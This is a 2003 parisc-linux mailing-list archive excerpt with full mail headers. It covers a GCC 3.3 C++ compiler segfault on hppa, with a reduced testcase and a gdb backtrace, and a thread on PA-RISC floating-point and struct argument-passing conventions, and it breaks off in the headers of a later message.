	<debian-gcc@lists.debian.org>, <nobody@gcc.gnu.org>,
	<gcc-prs@gcc.gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 19 09:05:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp2.libero.it (smtp2.libero.it [193.70.192.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id B31B74829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Apr 2003 09:05:15 -0600 (MDT)
Original-Received: from bagio (151.37.71.21) by smtp2.libero.it (7.0.012)
        id 3E9BEBC30019C864; Sat, 19 Apr 2003 17:05:13 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18309

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&p
r=10438

Confirmed. Slightly reduced testcase:

--------------------------------
struct Foo
{
    struct Nested1
    {
        enum E
        {
            v1,v2,v3,v4,v5,v6
        } E;
    };

    struct Nested2 : public Nested1
    {};
};

--------------------------------
pr10438.cpp:12: internal compiler error: Segmentation fault
Please submit a full bug report,


It looks like a memory corruption bug, while playing with it I had the ICE
on and off simply by changing variable names. You can also see that the ICE
disappears if you remove some elements from within the enum. It seems that
the culript is the variable defined with the same name of the enum type.

It's a regression on 3.3 and 3.4 with respect to 3.2, where it compiles
fine.

Giovanni Bajo



From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10438: [3.3 regression] [hppa] Segfault when building jade
Date: Sat, 19 Apr 2003 08:30:56 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20030419153056.GB25257__18094.7467255921$1416622403$gmane$org@tausq.org>
References: <29d101c30685$140bcac0$15472597@bagio>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622403 24859 80.91.229.3 (22 Nov 2014 02:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:23 +0000 (UTC)
Cc: gcc-gnats@gcc.gnu.org, parisc-linux@lists.parisc-linux.org,
	gcc-bugs@gcc.gnu.org, debian-gcc@lists.debian.org,
	nobody@gcc.gnu.org, gcc-prs@gcc.gnu.org,
	Wolfgang Bangerth <bangerth@ices.utexas.edu>
To: Giovanni Bajo <giovannibajo@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 19 09:34:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 664C94829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Apr 2003 09:34:07 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 206DCCD295; Sat, 19 Apr 2003 08:30:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <29d101c30685$140bcac0$15472597@bagio>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18310

> Confirmed. Slightly reduced testcase:

Thanks. 

Running under gdb, I see:

(gdb) run bug.cxx
Starting program: /home/tausq/gcc/build-3.3/gcc/cc1plus bug.cxx

Program received signal SIGSEGV, Segmentation fault.
setup_class_bindings (name=0x401c9780, type_binding_p=1)
    at ../../gcc-3.3/gcc/cp/search.c:2560
2560          if (TREE_CODE (type_binding) == TREE_LIST
(gdb) bt
#0  setup_class_bindings (name=0x401c9780, type_binding_p=1)
    at ../../gcc-3.3/gcc/cp/search.c:2560
#1  0x00094410 in dfs_push_type_decls (binfo=0x401c9b40, data=0x401cf010)
    at ../../gcc-3.3/gcc/cp/search.c:2615
#2  0x00092f50 in dfs_walk_real (binfo=0x401c9b40, prefn=0,
    postfn=0x362c0e <__JCR_LIST__+486>, qfn=0x362bde <__JCR_LIST__+438>,
    data=0x0) at ../../gcc-3.3/gcc/cp/search.c:1911
[...]

type_binding is NULL after lookup_member()...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] floating point calling convention on pa
Date: Sat, 19 Apr 2003 18:12:56 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20030420011256.GC25257@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622403 24863 80.91.229.3 (22 Nov 2014 02:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 19 19:15:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4AA14831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Apr 2003 19:15:06 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B769ECD295; Sat, 19 Apr 2003 18:12:56 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18311

Hi all,

I'm trying to understand the FP argument passing convention on 32-bit
palinux... I don't think I have it quite right. Can anyone comment on
the following?

1) float-type arguments
   float add(float a, float b, float c, float d)
        a -> fr4L
        b -> fr5L
        c -> fr6L
        d -> fr7L
        retval = fr4L

   If >4 arguments, the rest are passed on the stack
   starting at sp-52 in the caller's frame

2) double-type arguments
   double add(double a, double b, double c, double d)
        a -> fr5
        b -> fr7
        c -> sp-56 in caller frame
        d -> sp-64 in caller frame
        retval = fr4

   Is it correct that the high-order 32-bit of fr5 is in fr5L
   and the lower bits in fr5R?

3) What happens when you have a mix argument function? e.g.
   double foo(int a, float b, double c)

        a -> r26
        b -> fr5L
        c -> fr7
        retval = fr4

   I don't quite understand the logic here :) What happens when
   there are more and they need to go on the stack? What's the 
   arrangement?

I've looked through the SOM 32-bit runtime but (at least to me)
it doesn't talk about this very clearly. I've been experimenting with
gcc -S but I'd rather get a definitive answer :)

Also, for passing structures by value to functions, is this correct?
a) if sizeof(struct) <= 4, pass in register
b) if sizeof(struct) <= 8), pass in even-numbered register pairs 
c) if sizeof(struct) > 8, pass a pointer and callee will copy the
   structure?

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point calling convention on pa
Date: Sat, 19 Apr 2003 21:49:45 -0400 (EDT)
Lines: 77
Approved: news@gmane.org
Message-ID: <200304200149.h3K1njWm004550@hiauly1.hia.nrc.ca>
References: <20030420011256.GC25257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622403 24867 80.91.229.3 (22 Nov 2014 02:13:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 19 19:49:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 423AB4831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Apr 2003 19:49:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3K1njBh004552;
	Sat, 19 Apr 2003 21:49:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3K1njWm004550;
	Sat, 19 Apr 2003 21:49:45 -0400 (EDT)
In-Reply-To: <20030420011256.GC25257@tausq.org> from "Randolph Chung" at Apr 19, 2003 06:12:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18312

> Hi all,
> 
> I'm trying to understand the FP argument passing convention on 32-bit
> palinux... I don't think I have it quite right. Can anyone comment on
> the following?
> 
> 1) float-type arguments
>    float add(float a, float b, float c, float d)
>         a -> fr4L
>         b -> fr5L
>         c -> fr6L
>         d -> fr7L
>         retval = fr4L
> 
>    If >4 arguments, the rest are passed on the stack
>    starting at sp-52 in the caller's frame

Yes.

> 2) double-type arguments
>    double add(double a, double b, double c, double d)
>         a -> fr5
>         b -> fr7
>         c -> sp-56 in caller frame
>         d -> sp-64 in caller frame
>         retval = fr4
> 
>    Is it correct that the high-order 32-bit of fr5 is in fr5L
>    and the lower bits in fr5R?

Yes.  Big endian.

> 3) What happens when you have a mix argument function? e.g.
>    double foo(int a, float b, double c)
> 
>         a -> r26
>         b -> fr5L
>         c -> fr7
>         retval = fr4

Yes.

>    I don't quite understand the logic here :) What happens when
>    there are more and they need to go on the stack? What's the 
>    arrangement?

They go on the stack.  On the 32-bit port, stack arguments grow
downward.  The slots are word size.  Doubles are aligned to a
double word boundary.  For the first four slots, arguments go
in registers.  However, there are backup slots reserved on the
stack that the callee can use if it wants.

When there is a prototype for the argument and it is to be placed
in one of the first four slots, it will be passed according to its
type.  If there is no prototype, we put in both registers.

> I've looked through the SOM 32-bit runtime but (at least to me)
> it doesn't talk about this very clearly. I've been experimenting with
> gcc -S but I'd rather get a definitive answer :)

Should work.  Look at function_arg in pa.c.  Under hpux, there are
some small differences as the linker does argument relocation.

> Also, for passing structures by value to functions, is this correct?
> a) if sizeof(struct) <= 4, pass in register
> b) if sizeof(struct) <= 8), pass in even-numbered register pairs 
> c) if sizeof(struct) > 8, pass a pointer and callee will copy the
>    structure?

Yes.  Don't ask about the padding.  The data is right justified.
That's done with magic.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point calling convention on pa
Date: Sat, 19 Apr 2003 23:40:31 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030420064031.GD25257@tausq.org>
References: <20030420011256.GC25257@tausq.org> <200304200149.h3K1njWm004550@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622404 24873 80.91.229.3 (22 Nov 2014 02:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 20 00:45:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7946F482E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Apr 2003 00:45:00 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 472DDCD295; Sat, 19 Apr 2003 23:40:31 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200304200149.h3K1njWm004550@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18313

Hi Dave,

Thanks for the quick reply.

I thought I understood it, but this one baffles me:

static int floating(int a, float b, double c, long double d, int e)

i would have guessed this mapped to:

a -> gr26   (sp-36)
b -> fr4L   (sp-40)
c -> fr7    (sp-48)
d -> sp-56
e -> sp-64

but according to gcc, e is at sp-60.

How come?

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point calling convention on pa
Date: Sun, 20 Apr 2003 14:41:47 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20030420134147.GB7427@parcelfarce.linux.theplanet.co.uk>
References: <20030420011256.GC25257@tausq.org> <200304200149.h3K1njWm004550@hiauly1.hia.nrc.ca> <20030420064031.GD25257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622404 24876 80.91.229.3 (22 Nov 2014 02:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:24 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 20 07:41:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6A59483D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Apr 2003 07:41:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 197F4l-00072D-I2; Sun, 20 Apr 2003 14:41:47 +0100
Content-Disposition: inline
In-Reply-To: <20030420064031.GD25257@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18314

On Sat, Apr 19, 2003 at 11:40:31PM -0700, Randolph Chung wrote:
> static int floating(int a, float b, double c, long double d, int e)
> 
> i would have guessed this mapped to:
> 
> a -> gr26   (sp-36)
> b -> fr4L   (sp-40)
> c -> fr7    (sp-48)
> d -> sp-56
> e -> sp-64
> 
> but according to gcc, e is at sp-60.

ehm.. looks like -60 to me.  Here:

a gets bytes 33-36 (4 bytes)
b gets bytes 37-40 (4 bytes)
c gets bytes 41-48 (8 bytes)
d gets bytes 49-56 (8 bytes)
e gets bytes 57-60 (4 bytes)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point calling convention on pa
Date: Sun, 20 Apr 2003 12:20:12 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200304201620.h3KGKD77005253@hiauly1.hia.nrc.ca>
References: <20030420064031.GD25257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622404 24882 80.91.229.3 (22 Nov 2014 02:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 20 10:20:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20C4E483D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Apr 2003 10:20:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h3KGKDBh005254;
	Sun, 20 Apr 2003 12:20:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h3KGKD77005253;
	Sun, 20 Apr 2003 12:20:13 -0400 (EDT)
In-Reply-To: <20030420064031.GD25257@tausq.org> from "Randolph Chung" at Apr 19, 2003 11:40:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18315

> I thought I understood it, but this one baffles me:
> 
> static int floating(int a, float b, double c, long double d, int e)
> 
> i would have guessed this mapped to:
> 
> a -> gr26   (sp-36)
> b -> fr4L   (sp-40)
> c -> fr7    (sp-48)
> d -> sp-56
> e -> sp-64
> 
> but according to gcc, e is at sp-60.

int arguments only need word alignment. 'd' occupies bytes sp-56 to sp-49.

A long double is the same as a double (64-bits) on hppa-linux.  I'd hoped
that HP would make their quad library available but so far it hasn't
happened.  As far as I know, quad precision has never been implemented
in hardware.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nathan@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10438: [3.3 regression] [hppa] Segfault when building jade
Followup-To: gmane.linux.debian.devel.gcc
Date: 20 Apr 2003 17:49:24 -0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20030420174924.30228.qmail__35515.899261418$1416622405$gmane$org@sources.redhat.com>
Reply-To: nathan@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nathan@gcc.gnu.org,
	nobody@gcc.gnu.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622405 24884 80.91.229.3 (22 Nov 2014 02:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:25 +0000 (UTC)
To: debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, nathan@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 20 11:49:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id DBF00482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Apr 2003 11:49:24 -0600 (MDT)
Original-Received: (qmail 30229 invoked by uid 48); 20 Apr 2003 17:49:24 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18316

Synopsis: [3.3 regression] [hppa] Segfault when building jade

Responsible-Changed-From-To: unassigned->nathan
Responsible-Changed-By: nathan
Responsible-Changed-When: Sun Apr 20 17:49:23 2003
Responsible-Changed-Why:
    fixed
State-Changed-From-To: open->closed
State-Changed-By: nathan
State-Changed-When: Sun Apr 20 17:49:23 2003
State-Changed-Why:
    dup of 10405

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10438


From - Thu Nov 08 21:27:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC: remove/restart bugs.parisc-linux.org
Date: Tue, 22 Apr 2003 00:19:20 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030422071920.GO25257@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622405 24887 80.91.229.3 (22 Nov 2014 02:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 22 01:24:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE284482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Apr 2003 01:24:06 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
